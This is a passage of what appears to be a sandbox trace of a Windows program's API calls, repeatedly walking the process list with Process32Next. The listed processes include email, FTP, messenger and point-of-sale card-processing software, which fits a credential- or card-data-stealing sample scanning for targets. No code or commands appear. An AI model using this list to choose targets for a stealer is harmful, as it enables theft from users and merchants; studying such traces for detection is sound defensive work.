pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0246.000] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0246.002] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0246.004] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0246.005] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0246.008] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0246.010] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0246.011] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0246.013] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0246.015] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0246.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0246.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0246.072] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0246.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0246.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0246.077] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0246.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0246.081] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0246.082] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0246.084] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0246.086] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0246.087] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0246.089] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0246.091] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0246.093] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0246.095] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0246.096] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0246.105] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0246.107] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0246.108] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0246.110] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0246.112] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0246.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0246.165] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0246.166] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0246.168] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0246.170] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0246.172] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0246.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.175] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.176] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.178] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0246.179] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0246.181] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.182] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0246.184] CloseHandle (hObject=0x13b0) returned 1 [0246.184] Sleep (dwMilliseconds=0x64) [0246.226] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0246.320] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.321] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.323] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.324] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.326] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.329] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.331] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.333] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.334] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.336] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.338] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.340] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.346] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.348] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.350] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.411] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.413] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.415] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0246.416] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0246.417] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.419] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.420] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0246.421] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0246.423] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0246.424] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0246.426] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0246.428] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0246.429] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0246.431] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 